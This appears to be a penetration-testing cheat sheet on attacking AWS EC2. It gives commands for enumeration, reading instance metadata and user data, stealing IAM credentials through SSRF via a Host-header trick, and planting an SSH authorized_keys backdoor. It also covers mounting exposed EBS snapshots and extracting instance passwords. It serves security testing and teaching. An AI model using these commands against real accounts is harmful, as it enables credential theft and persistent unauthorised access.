# EC2 - Elastic Compute Cloud

Amazon Elastic Compute Cloud (EC2) offers broad support for computing, with over 750 instance types and numerous types of available processors, storage, networking, and operating systems.

## Enumeration

Describes the information about all instances

```
aws ec2 describe-instances
```

Describes the information about specified instance

```
aws ec2 describe-instances --instance-ids [instace-id]
```

Describes the information about UserData Attribute of the specified Instance

```
aws ec2 describe-instance-attribute --atribute userData --instance-id [instance-id]
```

Describes the infroamtion about IAM instance profile associations

```
aws ec2 describe-iam-instance-profile-associations
```

## Exploitation

SSRF/RCE

{% content-ref url="../ssrf-rce" %}
[ssrf-rce](https://0xss0rz.gitbook.io/0xss0rz/cloud/ssrf-rce)
{% endcontent-ref %}

### AWS Metadata

* IMDV1

```
curl http://169.254.169.254/latest/meta-data/
```

* IMDV2

```
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/
```

### AWS Userdata

* IMDV1

```
curl http://169.254.169.254/latest/user-data/
```

* IMDV2

```
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/user-data/
```

## EC2StepShell

{% embed url="<https://github.com/saw-your-packet/EC2StepShell>" %}

## Persistence

Generate SSH key pair

```
ssh-keygen
```

On EC2 instance, add private key to user ssh directory

```
echo "ssh_public_key" >> /home/user/.ssh/authorized_keys
```

Access EC2 using ssh backdoor key

```
ssh -i "ssh_private_key" user@ec2_public_ip
```

## Privilege Escalation

{% embed url="<https://cloud.hacktricks.wiki/sr/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.html#aws---ec2-privesc>" %}

## EC2 acting as a reverse-proxy

{% content-ref url="../ssrf-rce" %}
[ssrf-rce](https://0xss0rz.gitbook.io/0xss0rz/cloud/ssrf-rce)
{% endcontent-ref %}

```
curl -s http://[EC2_IP]/latest/meta-data/iam/security-credentials/ -H 'Host:169.254.169.254'
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F5UV51Ob6rr3J3DIquLHN%2Fimage.png?alt=media&#x26;token=b6ad6cb4-d6ff-4f7f-8120-067fdc004bc7" alt=""><figcaption></figcaption></figure>

## Enumerating EC2s / EBS

```
aws ec2 describe-instances --profile ec2-profile
```

Snapshots ?

```
aws --profile [profile-name] ec2 describe-snapshots --owner-id [account-id] --region us-west-2
```

### Exploit snapshot

{% content-ref url="ebs-elastic-block-store" %}
[ebs-elastic-block-store](https://0xss0rz.gitbook.io/0xss0rz/cloud/aws/ebs-elastic-block-store)
{% endcontent-ref %}

Snapshot found

```
$ aws --profile 0xss0rz ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id  [snap-id]
```

1. Launch a ec2 instance (create ssh key pair)
2. Attach the snapshot created to the ec2 instance

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FltYKrIX1xO2jcqaDyIaU%2Fimage.png?alt=media&#x26;token=b694e859-7d8f-4027-8ba1-18a90685d058" alt=""><figcaption></figcaption></figure>

Connect to the instance and mount the snapshot

```
$ lsblk
$ sudo mount /dev/xvdb1 /mnt
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FgLRnKSGCKt0KpTFAef0h%2Fimage.png?alt=media&#x26;token=64b12d96-91f2-48d9-b005-4c42c1d6f17a" alt=""><figcaption></figcaption></figure>

## EC2 - Get Password

```
aws ec2 get-password-data --instance-id i-04cc1c2c7ec1af1b5 --priv-launch-key it-admin.pem
```

## Templates

```
aws ec2 describe-launch-templates --region <region>

aws ec2 describe-launch-template-versions --region us-west-2 --launch-template-id <launch-template-id> --versions $Latest --query "LaunchTemplateVersions[0].LaunchTemplateData.UserData" --output text | base64 -d
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FgPcibVCC3d1QpVB7G1HD%2Fimage.png?alt=media&#x26;token=4e28b2f3-c094-4cbe-95b4-7b5aa961230f" alt=""><figcaption></figcaption></figure>

## Interesting Book

{% content-ref url="../../interesting-books" %}
[interesting-books](https://0xss0rz.gitbook.io/0xss0rz/interesting-books)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**Advanced Penetration Testing: Hacking AWS 2**](https://www.amazon.fr/dp/B0849Z2TLJ?tag=0xss0rz-21)\
  This book delves deeper into analyzing the security of various AWS services and shows techniques and tactics used by an attacker to breach an AWS environment
* [**Hands-On AWS Penetration Testing with Kali Linux**](https://www.amazon.fr/dp/B07C61YYJ4?tag=0xss0rz-21)\
  Set up a virtual lab and pentest major AWS services, including EC2, S3, Lambda, and Cloud
